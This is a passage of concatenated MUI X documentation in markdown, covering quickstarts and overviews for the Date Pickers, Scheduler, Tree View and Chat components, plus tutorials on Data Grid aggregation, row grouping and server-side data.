The demo below renders a custom Snackbar component to display an error message when the requests fail, which you can simulate using the checkbox and the **Refetch rows** button at the top.
Caching has been disabled for simplicity.

{{"demo": "ServerSideErrorHandling.js", "bg": "inline"}}

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

### Data Date Pickers Overview Overview (`docs/data/date-pickers/overview/overview.md`)

---
productId: x-date-pickers
title: React Date Picker and Time Picker components
packageName: '@mui/x-date-pickers'
githubLabel: 'scope: pickers'
materialDesign: https://m2.material.io/components/date-pickers
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/examples/datepicker-dialog/
---

{{"component": "modules/components/overview/XLogo.tsx"}}

# MUI X Date and Time Pickers

<p class="description">A collection of React UI components for selecting dates, times, and ranges.</p>

{{"component": "modules/components/overview/pickers/MainDemo.tsx"}}

{{"component": "modules/components/overview/pickers/PickersFeatureHighlight.tsx"}}
{{"component": "modules/components/overview/pickers/PickersCommunityOrPro.tsx"}}
{{"component": "modules/components/overview/pickers/PickersCustomization.tsx"}}
{{"component": "modules/components/overview/pickers/PickersKeyboard.tsx"}}
{{"component": "modules/components/overview/pickers/Internationalization.tsx"}}
{{"component": "modules/components/overview/pickers/DateLibraries.tsx"}}

---

### Data Date Pickers Quickstart Quickstart (`docs/data/date-pickers/quickstart/quickstart.md`)

---
productId: x-date-pickers
title: Date and Time Pickers - Quickstart
packageName: '@mui/x-date-pickers'
githubLabel: 'scope: pickers'
materialDesign: https://m2.material.io/components/date-pickers
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/examples/datepicker-dialog/
---

# Date and Time Pickers - Quickstart

<p class="description">Install the MUI X Date and Time Pickers package and set up your date library to start building.</p>

## Installation

Install the Date and Time Pickers package that best suits your needs—Community or Pro—along with one of the supported third-party date libraries.
The Pickers currently support [Day.js](https://day.js.org/), [date-fns](https://date-fns.org/), [Luxon](https://moment.github.io/luxon/#/), and [Moment.js](https://momentjs.com/).

Choose your packages and manager through the toggles below, then run the commands as provided to install:

{{"component": "modules/components/PickersInstallationInstructions.js"}}

:::success
Not sure which date library to choose?
If you're starting from scratch with no other date libraries in your app, we recommend [Day.js](https://day.js.org/) because of its small bundle size.
:::

### Peer dependencies

#### Material UI

The Date and Time Pickers have a peer dependency on `@mui/material`.
If you're not already using it, install it now:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/material @emotion/react @emotion/styled
```

```bash pnpm
pnpm add @mui/material @emotion/react @emotion/styled
```

```bash yarn
yarn add @mui/material @emotion/react @emotion/styled
```

</codeblock>

#### React



[`react`](https://www.npmjs.com/package/react) and [`react-dom`](https://www.npmjs.com/package/react-dom) are also peer dependencies:

```json
"peerDependencies": {
  "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
  "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0"
},
```

## Rendering a Date Picker

### Import the component

Import a Date Picker component and the Localization Provider:

```js
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
```

Next, import the adapter that corresponds to your chosen date library.
Adapters are provided for all supported libraries in both versions of the package.
The snippet below imports `AdapterDayjs`, which is used throughout this documentation for Day.js integration.

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
```

### Integrate provider and adapter

To integrate your chosen date library with the Date Pickers, wrap your app with the Localization Provider and pass the adapter to the Provider's `dateAdapter` prop as shown below:

{{"component": "modules/components/PickersRenderingInstructions.js"}}

:::info
To use the Date and Time Pickers with a custom locale, see [Date and format localization](/x/react-date-pickers/adapters-locale/).
:::

### Render the component

With the component, adapter, and provider properly configured, you're now ready to render a Date Picker as shown below:

{{"demo": "FirstComponent.js", "defaultCodeOpen": true}}

## TypeScript

### Theme augmentation

To benefit from [CSS overrides](/material-ui/customization/theme-components/#theme-style-overrides) and [default prop customization](/material-ui/customization/theme-components/#theme-default-props) with the theme, TypeScript users must import the following types.
These types use module augmentation to extend the default theme structure.

```tsx
// Pro users: add `-pro` suffix to package name
import type {} from '@mui/x-date-pickers/themeAugmentation';

const theme = createTheme({
  components: {
    MuiDatePicker: {
      defaultProps: {
        displayWeekNumber: true,
      },
    },
    MuiDateRangeCalendar: {
      styleOverrides: {
        root: {
          backgroundColor: '#f0f0f0',
        },
      },
    },
  },
});
```

### Date value types

The Date and Time Pickers are compatible with several date libraries that each use different formats to represent their dates.
To correctly type all date-related props, the adapters override a global type named `PickerValidDate` to let users format their corresponding libraries.
As a result, TypeScript will throw an error if you try to pass the wrong kind of value to the date library.

To determine whether your adapter is set up correctly, you can import the `PickerValidDate` type from `@mui/x-date-pickers/models` and check its current value.
If the type matches your chosen date library then it's correctly configured:

<img src="/static/x/date-pickers/picker-valid-date-configured.png" alt="PickerValidDate correctly configured" />

If the type is `any`, you can fix this by manually importing the adapter's types directly into your project as shown below:

```ts
// replace `AdapterDayjs` with the adapter you're using
import type {} from '@mui/x-date-pickers/AdapterDayjs';
```

:::info
Before version 7.19.0, TypeScript would throw the following error if you didn't import the adapter in the same TypeScript project as the rest of your codebase: `DesktopDatePickerProps<Date> error Type 'Date' does not satisfy the constraint 'never'`.
The solution described above should resolve this.
:::

## Using this documentation

### Feature availability

:::info
MUI X is **open core**—Community components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.
See [Licensing](/x/introduction/licensing/) for details.
:::

Throughout the documentation, Pro- and Premium-only features are denoted with the [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan') and [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') icons, respectively.

All documentation for Community components and features also applies to their Pro and Premium counterparts.

### Localization Provider

For practical purposes, each demo in this documentation has its own Localization Provider wrapper.
**You should not reproduce this pattern as-is.**
For almost all use cases, you should wrap your entire app with a single Localization Provider to avoid repeating boilerplate code in multiple places.

### Demo Container and Demo Item

Throughout this documentation, the internal components `<DemoContainer />` and `<DemoItem />` are used in demos to display multiple components with a consistent layout.
**You should never use these components in your application.**
This helps avoid the repeated use of layout components such as `<Box />` or `<Stack />`, which would otherwise add irrelevant clutter to demos meant to illustrate specific features.

---

### Data Introduction Overview Overview (`docs/data/introduction/overview/overview.md`)

---
title: Overview
---

# MUI X - Overview

<p class="description">MUI X is a collection of advanced React UI components for complex use cases. Use the native integration with Material UI or extend your design system.</p>

## Introduction

MUI X is a collection of advanced UI components, including:

- [Data Grid](/x/react-data-grid/)
- [Date and Time Pickers](/x/react-date-pickers/)
- [Charts](/x/react-charts/)
- [Tree View](/x/react-tree-view/)
- [Scheduler](/x/react-scheduler/)

These components are significantly more complex than the ones found in our Core libraries.
They feature advanced functionality for data-rich applications and a wide range of other use cases.

:::info
MUI X is **open core**—Community components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.
See [Licensing](/x/introduction/licensing/) for details.

Throughout the documentation, Pro- and Premium-only features are denoted with the [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan') and [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') icons, respectively.
:::

## Advantages of MUI X

- **Ship faster:** Our team has invested thousands of hours into these components so you don't have to. Get up and running in a fraction of the time it would take to build from scratch.
- **Expand on the power of Core**: MUI X components work seamlessly with Core libraries like Material UI, delivering more advanced functionality, but can also be used standalone.
- **Grow with us:** You can start for free with the MIT-licensed packages, and upgrade to Pro or Premium when you need more advanced features or technical support.
- **Dedicated maintenance:** MUI X is maintained by a full-time staff of engineers, so you can rest assured that any issues will be addressed in a timely manner.
- **Technical support:** Pro and Premium users get access to technical support from our team as well as priority for bug fixes and feature requests.

## MUI X vs. Core

MUI X is a collection of advanced UI components for complex use cases.
Most of MUI X's components are available for free, but more advanced features require a Pro or Premium commercial license.

Core focuses on empowering the creation of great design systems with React.
It comes with two themes (Material Design and an in-house one).
It's about solving design problems.
It contains foundational UI component libraries like Material UI and Base UI.
These libraries are open source, MIT-licensed, and free forever.

MUI X components are fully compatible with Core.
MUI X can extend the functionality of UIs built with Material UI or Base UI, but its components can also stand on their own, they can be used with third-parties React component libraries that implement different designs.

You can find [more details](https://mui-org.notion.site/X-FAQ-c33e9a7eabba4da1ad7f8c04f99044cc#11751b16538c489ba23c5133db1e67b8) about the difference in our handbook.

---

### Data Scheduler Overview Overview (`docs/data/scheduler/overview/overview.md`)

---
productId: x-scheduler
title: React Scheduler component
packageName: '@mui/x-scheduler'
githubLabel: 'scope: scheduler'
---

{{"component": "modules/components/overview/scheduler/SchedulerFeedbackBanner.tsx"}}

{{"component": "modules/components/overview/XLogo.tsx"}}

# MUI X Scheduler

<p class="description">A collection of React UI components to schedule your events.</p>

{{"component": "@mui/internal-core-docs/ComponentLinkHeader", "design": false}}

## Event Calendar

Start with the MIT-licensed Event Calendar for everyday scheduling, then unlock Premium features when your calendar workflows need recurrence or server-backed loading.

{{"component": "modules/components/overview/scheduler/mainDemo/CalendarDemo.tsx"}}

## Event Timeline [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Use the Premium Event Timeline to plan long-running work across teams, resources, and date ranges.

{{"component": "modules/components/overview/scheduler/mainDemo/TimelineDemo.tsx"}}

{{"component": "modules/components/overview/scheduler/SchedulerFeaturesHighlight.tsx"}}
{{"component": "modules/components/overview/scheduler/SchedulerCommunityOrPremium.tsx"}}

---

### Data Scheduler Quickstart Quickstart (`docs/data/scheduler/quickstart/quickstart.md`)

---
productId: x-scheduler
title: React Scheduler component
packageName: '@mui/x-scheduler'
githubLabel: 'scope: scheduler'
---

# Scheduler - Quickstart

<p class="description">Install the MUI X Scheduler package to start building React calendars and event timelines.</p>

## Installation

Install the Scheduler package that best suits your needs—Community or Premium:

{{"component": "modules/components/SchedulerInstallationInstructions.js"}}

### Peer dependencies

#### Material UI

The Scheduler packages have peer dependencies on `@mui/material` and `@mui/icons-material`.
If you're not already using them, install them now:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/material @mui/icons-material @emotion/react @emotion/styled
```

```bash pnpm
pnpm add @mui/material @mui/icons-material @emotion/react @emotion/styled
```

```bash yarn
yarn add @mui/material @mui/icons-material @emotion/react @emotion/styled
```

</codeblock>

#### React



[`react`](https://www.npmjs.com/package/react) and [`react-dom`](https://www.npmjs.com/package/react-dom) are also peer dependencies:

```json
"peerDependencies": {
  "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
  "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0"
},
```

## Rendering an Event Calendar

### Import the component

Import the Event Calendar component that corresponds to the version you're using, along with the `SchedulerEvent` type:

{{"component": "modules/components/SchedulerImportInstructions.js"}}

### Define events

Each event in the Event Calendar is an object with properties that define when it occurs and what it displays.

The code snippet below defines three events with `id`, `title`, `start`, and `end` properties:

```ts
const events: SchedulerEvent[] = [
  {
    id: 1,
    title: 'Team Meeting',
    start: '2024-01-15T10:00:00',
    end: '2024-01-15T11:00:00',
  },
  {
    id: 2,
    title: 'Project Review',
    start: '2024-01-16T14:00:00',
    end: '2024-01-16T15:30:00',
  },
  {
    id: 3,
    title: 'Client Call',
    start: '2024-01-17T09:00:00',
    end: '2024-01-17T10:00:00',
  },
];
```

### Render the component

With the component imported and events defined, you're now ready to render the Event Calendar as shown below:

{{"demo": "RenderEventCalendar.js", "defaultCodeOpen": true, "bg": "inline"}}

## Rendering an Event Timeline

### Import the component

Import the `EventTimelinePremium` component along with the `SchedulerEvent` and `SchedulerResource` types:

```ts
import { EventTimelinePremium } from '@mui/x-scheduler-premium/event-timeline-premium';
import type {
  SchedulerEvent,
  SchedulerResource,
} from '@mui/x-scheduler-premium/models';
```

### Define events and resources

Each event in the Event Timeline is an object with properties that define when it occurs and what it displays.

The code snippet below defines two events with `id`, `title`, `start`, `end`, and `resource` properties:

```ts
const events: SchedulerEvent[] = [
  {
    id: 1,
    title: 'Project Kickoff',
    start: '2024-01-15T09:00:00',
    end: '2024-01-15T17:00:00',
    resource: 'team-a',
  },
  {
    id: 2,
    title: 'Development Phase',
    start: '2024-01-16T09:00:00',
    end: '2024-01-19T17:00:00',
    resource: 'team-b',
  },
];
```

Each event passed to the Event Timeline component needs a resource that represents the entities (people, rooms, equipment) it's assigned to:

```ts
const resources: SchedulerResource[] = [
  { id: 'team-a', title: 'Team A' },
  { id: 'team-b', title: 'Team B' },
];
```

### Render the component

With the component imported and events and resources defined, you're now ready to render the Event Timeline as shown below:

{{"demo": "RenderEventTimelinePremium.js", "defaultCodeOpen": true, "bg": "inline"}}

## TypeScript

### Theme augmentation

To benefit from [CSS overrides](/material-ui/customization/theme-components/#theme-style-overrides) and [default prop customization](/material-ui/customization/theme-components/#theme-default-props) with the theme, TypeScript users must import the following types.
These types use module augmentation to extend the default theme structure.

{{"component": "modules/components/SchedulerThemeAugmentationInstructions.js"}}

## API

- [EventCalendar](/x/api/scheduler/event-calendar/)
- [EventCalendarPremium](/x/api/scheduler/event-calendar-premium/)
- [EventTimelinePremium](/x/api/scheduler/event-timeline-premium/)

## Using this documentation

### Feature availability

:::info
MUI X is **open core**—Community components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.
The Scheduler's advanced features are only available with a Premium license.
See [Licensing](/x/introduction/licensing/) for details.
:::

Throughout the documentation, Premium-only features are denoted with the [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') icon.

All documentation for Community components and features also applies to their Premium counterparts.

---

### Data Tree View Overview Overview (`docs/data/tree-view/overview/overview.md`)

---
productId: x-tree-view
title: Tree View React component
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
packageName: '@mui/x-tree-view'
---

{{"component": "modules/components/overview/XLogo.tsx"}}

# MUI X Tree View

<p class="description">The Tree View components let users navigate hierarchical lists of data with nested levels that can be expanded and collapsed.</p>

{{"component": "modules/components/overview/tree-view/mainDemo/MainDemo.tsx"}}
{{"component": "modules/components/overview/tree-view/TreeViewFeaturesHighlight.tsx"}}
{{"component": "modules/components/overview/tree-view/TreeViewCommunityOrPro.tsx"}}
{{"component": "modules/components/overview/tree-view/playground/Playground.tsx"}}
{{"component": "modules/components/overview/tree-view/advancedFeatures/AdvancedFeatures.tsx"}}
{{"component": "modules/components/overview/tree-view/TreeViewKeyboard.tsx"}}

---

### Data Tree View Quickstart Quickstart (`docs/data/tree-view/quickstart/quickstart.md`)

---
productId: x-tree-view
title: Tree View - Quickstart
components: SimpleTreeView, RichTreeView, TreeItem
packageName: '@mui/x-tree-view'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Tree View - Quickstart

<p class="description">Install the MUI X Tree View package and start building.</p>

## Installation

Install the Tree View package that best suits your needs—Community or Pro:

{{"component": "modules/components/TreeViewInstallationInstructions.js"}}

### Peer dependencies

#### Material UI

The Tree View packages have a peer dependency on `@mui/material`.
If you're not already using it, install it now:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/material @emotion/react @emotion/styled
```

```bash pnpm
pnpm add @mui/material @emotion/react @emotion/styled
```

```bash yarn
yarn add @mui/material @emotion/react @emotion/styled
```

</codeblock>

#### React



[`react`](https://www.npmjs.com/package/react) and [`react-dom`](https://www.npmjs.com/package/react-dom) are also peer dependencies:

```json
"peerDependencies": {
  "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
  "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0"
},
```

## Rendering a Tree View

The package exposes two different versions of this component: `SimpleTreeView` and `RichTreeView`.
The [Simple version](#simple-tree-view) is recommended for hardcoded items, while the [Rich version](#rich-tree-view) is preferred for dynamically rendered items, larger trees, and more complex use cases that require features like editing and virtualization.

:::info
Currently, `SimpleTreeView` and `RichTreeView` share many of the same features.
As this package continues to mature, more advanced features and functionality will be prioritized for `RichTreeView`.
:::

### Simple Tree View

```jsx
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
```

`SimpleTreeView` receives its items as JSX children.
This is the recommended version for hardcoded items.

{{"demo": "BasicSimpleTreeView.js"}}

### Rich Tree View

```jsx
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
```

`RichTreeView` receives its items dynamically from an external data source.
This is the recommended version for larger trees, as well as those that require more advanced features like editing.

{{"demo": "BasicRichTreeView.js"}}

### Rich Tree View Pro [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

```jsx
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
```

`RichTreeViewPro` receives its items dynamically from an external data source.
This is the commercial version of the `RichTreeView` component that adds advanced features like virtualization or lazy-loading.

{{"demo": "BasicRichTreeViewPro.js"}}

:::warning
You must set [intrinsic dimensions](/x/react-tree-view/rich-tree-view/virtualization/#layout) on the `RichTreeViewPro`'s parent container.
:::

### Accessibility

The Tree View components follow the [WAI-ARIA authoring practices for a tree view](https://www.w3.org/WAI/ARIA/apg/patterns/treeview/).
The components include many built-in [accessibility features](/x/react-tree-view/accessibility/), but it's the developer's responsibility to provide the components with a descriptive `aria-labelledby` or `aria-label` tag—otherwise, screen readers will announce them only as "tree," making it difficult for the end user to understand the purpose of the tree items.

## TypeScript

### Theme augmentation

To benefit from [CSS overrides](/material-ui/customization/theme-components/#theme-style-overrides) and [default prop customization](/material-ui/customization/theme-components/#theme-default-props) with the theme, TypeScript users must import the following types.
These types use module augmentation to extend the default theme structure.

```tsx
// Pro users: add `-pro` suffix to package name
import type {} from '@mui/x-tree-view/themeAugmentation';

const theme = createTheme({
  components: {
    MuiRichTreeView: {
      styleOverrides: {
        root: {
          backgroundColor: 'red',
        },
      },
    },
  },
});
```

## Using this documentation

Although `SimpleTreeView` and `RichTreeView` share many of the same features, each version's implementation of those features differs enough that they warrant their own separate docs in most cases.
Other features, such as accessibility, work the same in both versions and are documented in the main features section of the navigation bar.

---

### Src Pages Production Error Index (`docs/src/pages/production-error/index.md`)

# Production error

<p class="description">In the production build the error messages are minified to reduce the size of your application.</p>

We recommend using the development build when debugging this error.
It will include additional warnings about potential problems.
If you encounter an exception while using the production build, this page will reassemble the original text of the error.

{{"demo": "ErrorDecoder.js", "hideToolbar": true, "bg": "inline"}}

---

### Data Chat Customization Overview Overview (`docs/data/chat/customization/overview/overview.md`)

---
productId: x-chat
title: Customization overview
packageName: '@mui/x-chat'
githubLabel: 'scope: chat'
components: ChatBox
---

# Chat - Customization overview

<p class="description">Choose the right API to customize the Chat — from theme tokens to slot overrides and custom part renderers.</p>

{{"component": "@mui/internal-core-docs/ComponentLinkHeader"}}

## Choosing the right API

| I want to...                                                  | Use                         | Where                                                                                             |
| :------------------------------------------------------------ | :-------------------------- | :------------------------------------------------------------------------------------------------ |
| Change colors, fonts, spacing                                 | `ThemeProvider`             | [Look and feel](/x/react-chat/customization/look-and-feel/#theme-component-overrides)             |
| Apply one-off styles to this instance                         | `sx` prop                   | [Look and feel](/x/react-chat/customization/look-and-feel/#applying-one-off-styles-with-sx)       |
| Switch between bubble and flat layout                         | `variant` / `density` props | [Look and feel](/x/react-chat/customization/look-and-feel/#choosing-a-layout-style)               |
| Use Tailwind CSS                                              | Headless primitives         | [Look and feel](/x/react-chat/customization/look-and-feel/#tailwind-css)                          |
| Pass extra props to a subcomponent                            | `slotProps`                 | [Structure](/x/react-chat/customization/structure/#passing-extra-props-to-slots)                  |
| Replace a subcomponent entirely                               | `slots`                     | [Structure](/x/react-chat/customization/structure/#swapping-slots)                                |
| Render custom message types (tickets, charts, and so on)      | `partRenderers`             | [Structure](/x/react-chat/customization/structure/#rendering-tool-calls-as-cards-instead-of-json) |
| Hide a built-in feature (attach, scroll-to-bottom, and so on) | `features` prop             | [Structure](/x/react-chat/customization/structure/#feature-flags)                                 |
| Translate the UI                                              | `localeText`                | [Structure](/x/react-chat/customization/structure/#localization)                                  |

:::warning
Replacing a slot replaces its built-in keyboard navigation and ARIA wiring too. When you swap `slots`, re-apply the props your component receives—see [Structure](/x/react-chat/customization/structure/#swapping-slots).
:::

## Customization layers

Styling and structure APIs stack—each layer wins over the one above it, so reach for the lightest layer that solves the problem:

```text
theme          ← global rules for your whole app
  ↓
sx             ← one-off styles on a single ChatBox
  ↓
slotProps      ← extra props on a specific subcomponent
  ↓
slots          ← replace a subcomponent with your own
  ↓
partRenderers  ← render a specific message part type
```

The remaining APIs from the table aren't part of this stack—`variant`/`density` (layout style), the `features` prop (visibility), and `localeText` (strings) are orthogonal switches that work alongside any layer, while the headless primitives (Tailwind CSS) replace the stack entirely rather than layering on it.

## The 80/20 rule

Most apps only need the top two layers:

```tsx
<ThemeProvider theme={myTheme}>
  <ChatBox adapter={adapter} sx={{ height: 600 }} />
</ThemeProvider>
```

{{"demo": "EightyTwentyDemo.js", "bg": "inline"}}

Reach for `slots` or `partRenderers` only when the theme can't express what you need—for example, replacing the Composer with a fully custom input, or rendering tool-call results as cards instead of JSON.

## Next steps

- [Look and feel](/x/react-chat/customization/look-and-feel/)—theming, brand examples (Slack, WhatsApp, ChatGPT, Claude, v0.dev), Tailwind
- [Structure](/x/react-chat/customization/structure/)—customization recipes, slots, `slotProps`, feature flags, structural props, part renderers, and localization

---

### Data Data Grid Tutorials Aggregation Row Grouping Index (`docs/data/data-grid/tutorials/aggregation-row-grouping/index.md`)

---
title: Tutorial - Data Grid with Aggregation and Row Grouping
description: Learn how to use aggregation functions and row grouping in Data Grid Premium to analyze and organize your data.
---

# Build a Data Grid with Aggregation and Row Grouping

## Overview

This tutorial walks you through building a client-side Data Grid that demonstrates aggregation functions and row grouping using Data Grid Premium.
You will define data locally and use the grid to group rows by column values and apply aggregation functions (such as sum, average, min, max) to analyze data within those groups.

:::success
If you'd rather skip the tutorial entirely, you can check out [the complete app code on GitHub](https://github.com/mui/mui-x/tree/master/examples/aggregation-row-grouping/).
:::

## Prerequisites

- Basic React knowledge
- Understanding of TypeScript interfaces

### Relevant documentation

The pages listed below may be useful if you're new to the MUI X Data Grid:

- [Row grouping](/x/react-data-grid/row-grouping/)
- [Aggregation](/x/react-data-grid/aggregation/)
- [Column definition](/x/react-data-grid/column-definition/)
- [Pagination](/x/react-data-grid/pagination/)

## Part one: App setup

In part one, you'll set up a React app with Vite and install the dependencies you need for the Data Grid.

### 1. Create the project

Create a new directory and scaffold a React app with Vite in TypeScript:

```bash
mkdir aggregation-row-grouping &&
cd aggregation-row-grouping &&
pnpm create vite@latest . -- --template react-ts &&
pnpm install
```

### 2. Install dependencies

Install Material UI and MUI X Data Grid Premium:

```bash
pnpm install @mui/material @emotion/react @emotion/styled @mui/icons-material @mui/x-data-grid-premium @fontsource/roboto
```

:::success
This tutorial uses pnpm, but all MUI libraries are also compatible with npm and yarn.
See the [Material UI installation page](https://mui.com/material-ui/getting-started/installation/) for more details.
:::

### 3. Set up the app shell

Create a `components` directory and add a placeholder for the grid.
Create `src/components/EmployeeDataGrid.tsx`:

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  type GridColDef,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { Box, Typography } from '@mui/material';

const EmployeeDataGrid = () => {
  return (
    <Box sx={{ height: 600, width: '100%' }}>
      <Typography variant="h4" component="h1" gutterBottom>
        MUI X Data Grid Premium - Aggregation & Row Grouping
      </Typography>
      <Typography variant="body1" color="text.secondary" sx={{ mb: 3 }}>
        Row grouping by department and role, with aggregation (sum) on salary and
        projects.
      </Typography>
    </Box>
  );
};

export default EmployeeDataGrid;
```

The imports include `useGridApiRef()` and `useKeepGroupedColumnsHidden()`; you will use them in step 7 when configuring row grouping and aggregation.

Update `src/App.tsx`:

```tsx
import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import { Container } from '@mui/material';
import EmployeeDataGrid from './components/EmployeeDataGrid';

function App() {
  return (
    <React.Fragment>
      <CssBaseline />
      <Container maxWidth="lg" sx={{ py: 4 }}>
        <EmployeeDataGrid />
      </Container>
    </React.Fragment>
  );
}

export default App;
```

Replace the contents of `src/main.tsx` with:

```tsx
import * as React from 'react';
import * as ReactDOM from 'react-dom/client';
import App from './App';

ReactDOM.createRoot(document.getElementById('root')!).render(
  <React.StrictMode>
    <App />
  </React.StrictMode>,
);
```

### 4. Run the app

```bash
pnpm dev
```

The app runs on `http://localhost:5173`.

## Part two: Data Grid with aggregation and row grouping

In this section you'll add local data, column definitions, row grouping, and aggregation to `EmployeeDataGrid.tsx`.

### 5. Define the data structure and rows

Define an `Employee` interface and a local array of rows.
Add this below the imports in `EmployeeDataGrid.tsx`:

```
/* Detailed source-code truncated for AI context efficiency. */
```

**What's happening here:**

- `Employee` describes one row in the grid; `projects` and `salary` fields will be used for aggregation.
- `EMPLOYEE_DATA` is the in-memory dataset. The grid will group and aggregate over these rows on the client.

### 6. Define the grid columns

Add column definitions that match your data:

```tsx
const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 80 },
  { field: 'name', headerName: 'Name', width: 200 },
  { field: 'email', headerName: 'Email', width: 250 },
  { field: 'role', headerName: 'Role', width: 150 },
  { field: 'department', headerName: 'Department', width: 150 },
  {
    field: 'salary',
    headerName: 'Salary',
    width: 120,
    type: 'number',
    valueFormatter: (value) => `$${value?.toLocaleString()}`,
  },
  { field: 'startDate', headerName: 'Start Date', width: 130 },
  { field: 'projects', headerName: 'Projects', width: 120, type: 'number' },
];
```

**What's happening here:**

- `field` matches properties on `Employee`.
- `type: 'number'` on `salary` and `projects` lets the grid apply aggregation.
- `valueFormatter` formats salary as currency.

### 7. Configure row grouping and aggregation

Use `useGridApiRef()` and `useKeepGroupedColumnsHidden()` to set initial row grouping and aggregation:

```tsx
function EmployeeDataGrid() {
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['department', 'role'],
      },
      aggregation: {
        model: {
          salary: 'sum',
          projects: 'sum',
        },
      },
    },
  });

  return (
    // ... JSX next
  );
}
```

**What's happening here:**

- `useKeepGroupedColumnsHidden()` wraps your `initialState` so that columns in the row grouping model (here, `department` and `role`) are hidden from the grid body—they appear only as group headers.
  Without it, those columns would still show as normal data columns.
  The hook keeps the column panel in sync when the user changes grouping: it uses `apiRef` to subscribe to `rowGroupingModelChange` and then calls `setColumnVisibilityModel()` so that columns are hidden or shown as they are added to or removed from the grouping model.
- `rowGrouping.model` groups rows by `department`, then by `role` inside each department.
- `aggregation.model` applies `sum` aggregation to the `salary` and `projects` columns for each group.

### 8. Configure aggregation position

Control where aggregated values appear:

```tsx
getAggregationPosition={(groupNode) =>
  groupNode.depth === -1 ? 'footer' : 'inline'
}
```

**What's happening here:**

- Root level (`depth === -1`): aggregates in a footer row.
- Nested groups: aggregates inline with the group header.

### 9. Render the Data Grid Premium

Render the grid with `rows`, `columns`, and the options you defined:

```tsx
<DataGridPremium
  apiRef={apiRef}
  rows={EMPLOYEE_DATA}
  columns={columns}
  initialState={initialState}
  pagination
  pageSizeOptions={[10, 25, 50, 100]}
  disableRowSelectionOnClick
  getAggregationPosition={(groupNode) =>
    groupNode.depth === -1 ? 'footer' : 'inline'
  }
/>
```

**What's happening here:**

- `DataGridPremium` is required for row grouping and aggregation.
- `rows={EMPLOYEE_DATA}` passes your local data.
- `initialState` holds the grouping and aggregation config.
- `getAggregationPosition` sets where aggregates are shown (footer vs inline).

### 10. Complete component

With the `EMPLOYEE_DATA` and `columns` from steps 5 and 6 in place, the rest of `EmployeeDataGrid.tsx` is:

```tsx
function EmployeeDataGrid() {
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: { model: ['department', 'role'] },
      aggregation: { model: { salary: 'sum', projects: 'sum' } },
    },
  });

  return (
    <Box sx={{ height: 600, width: '100%' }}>
      <Typography variant="h4" component="h1" gutterBottom>
        MUI X Data Grid Premium - Aggregation & Row Grouping
      </Typography>
      <Typography variant="body1" color="text.secondary" sx={{ mb: 3 }}>
        Row grouping by department and role, with aggregation (sum) on salary and
        projects.
      </Typography>

      <DataGridPremium
        apiRef={apiRef}
        rows={EMPLOYEE_DATA}
        columns={columns}
        initialState={initialState}
        pagination
        pageSizeOptions={[10, 25, 50, 100]}
        disableRowSelectionOnClick
        getAggregationPosition={(groupNode) =>
          groupNode.depth === -1 ? 'footer' : 'inline'
        }
      />
    </Box>
  );
}

export default EmployeeDataGrid;
```

You should see employee data grouped by department and role, with sum of salary and projects per group. Expand and collapse groups to explore the hierarchy.

## Understanding aggregation and row grouping

### Row grouping

Rows are grouped by column values. Here we use:

1. **Department** – top-level groups
2. **Role** – subgroups inside each department

You can expand or collapse groups to see detail rows.

### Aggregation functions

Aggregations summarize values in a group. Common functions:

- `sum` – total of values
- `avg` – average
- `min` / `max` – minimum or maximum
- `size` – number of rows

This tutorial uses `sum` for salary and projects.

### Aggregation position

`getAggregationPosition` controls where aggregates appear:

- `'footer'` – footer row (root level)
- `'inline'` – next to the group header (nested groups)
- `null` – hide aggregates for that level

## Learn more

- [Row grouping](/x/react-data-grid/row-grouping/)
- [Aggregation](/x/react-data-grid/aggregation/)
- [Data Grid Premium](/x/react-data-grid/)

---

### Data Data Grid Tutorials Server Side Data Index (`docs/data/data-grid/tutorials/server-side-data/index.md`)

---
title: Tutorial - Data Grid with Server-side Data
description: Learn how to use the Data Source layer to streamline communications between the Data Grid and server-side data.
---

# Build a Data Grid with Server-side Data

## Overview

This tutorial walks you through building a Data Grid that fetches data from a server with pagination, sorting, and filtering.
The primary purpose is to demonstrate the use of the [Data Source layer](/x/react-data-grid/server-side-data/), which streamlines the development of key Data Grid features when working with server-side data by providing an interface for communications between the Grid on the client and the data on the server.

:::success
